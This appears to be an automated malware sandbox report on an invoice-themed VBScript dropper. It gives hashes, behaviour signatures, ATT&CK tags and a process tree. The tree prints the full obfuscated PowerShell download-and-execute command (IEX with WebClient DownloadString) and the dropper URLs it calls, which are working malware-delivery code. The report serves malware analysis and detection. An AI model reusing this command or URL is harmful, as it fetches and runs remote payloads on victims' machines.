a412a3bdf6e8891fa60734b53430db5d0ac8dce28a764fd013dd767614790c45

Analysis

max time kernel
19s
max time network
18s
platform
windows7_x64
resource
win7v20201028
submitted
07-01-2021 07:57

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General

Target

invoice-ID3626307348012.vbs
Size

324B
MD5

50f7355426061a1952f878e61e072d5e
SHA1

90156383d18b6851298d1c68f0cca24f6c7375fe
SHA256

a412a3bdf6e8891fa60734b53430db5d0ac8dce28a764fd013dd767614790c45
SHA512

959e8b1cc6eb2e4cf8670567f60aa496ae5af2920b40d8fa9e0705058f57e2e4a8dac029af55514c9a20d5fad4fdd951d676dcaecd33795964dee3ff0a3a5d06

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://www.minpic.de/k/bfqj/2ipze/

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
6	1572	mshta.exe
8	1572	mshta.exe
9	1608	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1608	powershell.exe
1608	powershell.exe
1608	powershell.exe
1608	powershell.exe
1608	powershell.exe
1608	powershell.exe
1608	powershell.exe
1608	powershell.exe
1608	powershell.exe
1608	powershell.exe
1608	powershell.exe
1608	powershell.exe

Suspicious use of AdjustPrivilegeToken 41 IoCs

description	pid	Process
Token: SeDebugPrivilege	1608	powershell.exe
Token: SeIncreaseQuotaPrivilege	1608	powershell.exe
Token: SeSecurityPrivilege	1608	powershell.exe
Token: SeTakeOwnershipPrivilege	1608	powershell.exe
Token: SeLoadDriverPrivilege	1608	powershell.exe
Token: SeSystemProfilePrivilege	1608	powershell.exe
Token: SeSystemtimePrivilege	1608	powershell.exe
Token: SeProfSingleProcessPrivilege	1608	powershell.exe
Token: SeIncBasePriorityPrivilege	1608	powershell.exe
Token: SeCreatePagefilePrivilege	1608	powershell.exe
Token: SeBackupPrivilege	1608	powershell.exe
Token: SeRestorePrivilege	1608	powershell.exe
Token: SeShutdownPrivilege	1608	powershell.exe
Token: SeDebugPrivilege	1608	powershell.exe
Token: SeSystemEnvironmentPrivilege	1608	powershell.exe
Token: SeRemoteShutdownPrivilege	1608	powershell.exe
Token: SeUndockPrivilege	1608	powershell.exe
Token: SeManageVolumePrivilege	1608	powershell.exe
Token: 33	1608	powershell.exe
Token: 34	1608	powershell.exe
Token: 35	1608	powershell.exe
Token: SeIncreaseQuotaPrivilege	1608	powershell.exe
Token: SeSecurityPrivilege	1608	powershell.exe
Token: SeTakeOwnershipPrivilege	1608	powershell.exe
Token: SeLoadDriverPrivilege	1608	powershell.exe
Token: SeSystemProfilePrivilege	1608	powershell.exe
Token: SeSystemtimePrivilege	1608	powershell.exe
Token: SeProfSingleProcessPrivilege	1608	powershell.exe
Token: SeIncBasePriorityPrivilege	1608	powershell.exe
Token: SeCreatePagefilePrivilege	1608	powershell.exe
Token: SeBackupPrivilege	1608	powershell.exe
Token: SeRestorePrivilege	1608	powershell.exe
Token: SeShutdownPrivilege	1608	powershell.exe
Token: SeDebugPrivilege	1608	powershell.exe
Token: SeSystemEnvironmentPrivilege	1608	powershell.exe
Token: SeRemoteShutdownPrivilege	1608	powershell.exe
Token: SeUndockPrivilege	1608	powershell.exe
Token: SeManageVolumePrivilege	1608	powershell.exe
Token: 33	1608	powershell.exe
Token: 34	1608	powershell.exe
Token: 35	1608	powershell.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1888 wrote to memory of 1572	1888	WScript.exe	25
PID 1888 wrote to memory of 1572	1888	WScript.exe	25
PID 1888 wrote to memory of 1572	1888	WScript.exe	25
PID 1572 wrote to memory of 1608	1572	mshta.exe	32
PID 1572 wrote to memory of 1608	1572	mshta.exe	32
PID 1572 wrote to memory of 1608	1572	mshta.exe	32
PID 1608 wrote to memory of 1208	1608	powershell.exe	35
PID 1608 wrote to memory of 1208	1608	powershell.exe	35
PID 1608 wrote to memory of 1208	1608	powershell.exe	35
PID 1608 wrote to memory of 1208	1608	powershell.exe	35
PID 1608 wrote to memory of 1168	1608	powershell.exe	39
PID 1608 wrote to memory of 1168	1608	powershell.exe	39
PID 1608 wrote to memory of 1168	1608	powershell.exe	39
PID 1608 wrote to memory of 1168	1608	powershell.exe	39
PID 1608 wrote to memory of 1540	1608	powershell.exe	38
PID 1608 wrote to memory of 1540	1608	powershell.exe	38
PID 1608 wrote to memory of 1540	1608	powershell.exe	38
PID 1608 wrote to memory of 1540	1608	powershell.exe	38
PID 1608 wrote to memory of 1888	1608	powershell.exe	37
PID 1608 wrote to memory of 1888	1608	powershell.exe	37
PID 1608 wrote to memory of 1888	1608	powershell.exe	37
PID 1608 wrote to memory of 1888	1608	powershell.exe	37
PID 1608 wrote to memory of 1756	1608	powershell.exe	36
PID 1608 wrote to memory of 1756	1608	powershell.exe	36
PID 1608 wrote to memory of 1756	1608	powershell.exe	36
PID 1608 wrote to memory of 1756	1608	powershell.exe	36

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\invoice-ID3626307348012.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1888
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" https://www.minpic.de/k/bfqk/14x9vi/
  2⤵
  - Blocklisted process makes network request
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:1572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" I`EX ((n`e`W`-Obj`E`c`T (('Net'+'.'+'Webc'+'lient'))).(('D'+'o'+'w'+'n'+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).InVokE((('https://www.minpic.de/k/bfqj/2ipze/'))))
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1608
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1208
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1756
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1888
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1540
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1168

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1608-8-0x000000001AB90000-0x000000001AB91000-memory.dmp

Filesize
4KB

Download
memory/1608-6-0x000007FEF2D20000-0x000007FEF370C000-memory.dmp

Filesize
9.9MB

Download
memory/1608-7-0x0000000001F90000-0x0000000001F91000-memory.dmp

Filesize
4KB

Download
memory/1608-9-0x00000000025A0000-0x00000000025A1000-memory.dmp

Filesize
4KB

Download
memory/1608-10-0x00000000025D0000-0x00000000025D1000-memory.dmp

Filesize
4KB

Download
memory/1608-11-0x000000001B500000-0x000000001B501000-memory.dmp

Filesize
4KB

Download
memory/1608-12-0x000000001C350000-0x000000001C351000-memory.dmp

Filesize
4KB

Download
memory/1608-13-0x00000000026B0000-0x00000000026B7000-memory.dmp

Filesize
28KB

Download
memory/1608-14-0x00000000026C0000-0x00000000026C8000-memory.dmp

Filesize
32KB

Download
memory/1752-4-0x000007FEF7430000-0x000007FEF76AA000-memory.dmp

Filesize
2.5MB

Download
memory/1888-3-0x0000000002570000-0x0000000002574000-memory.dmp

Filesize
16KB

Download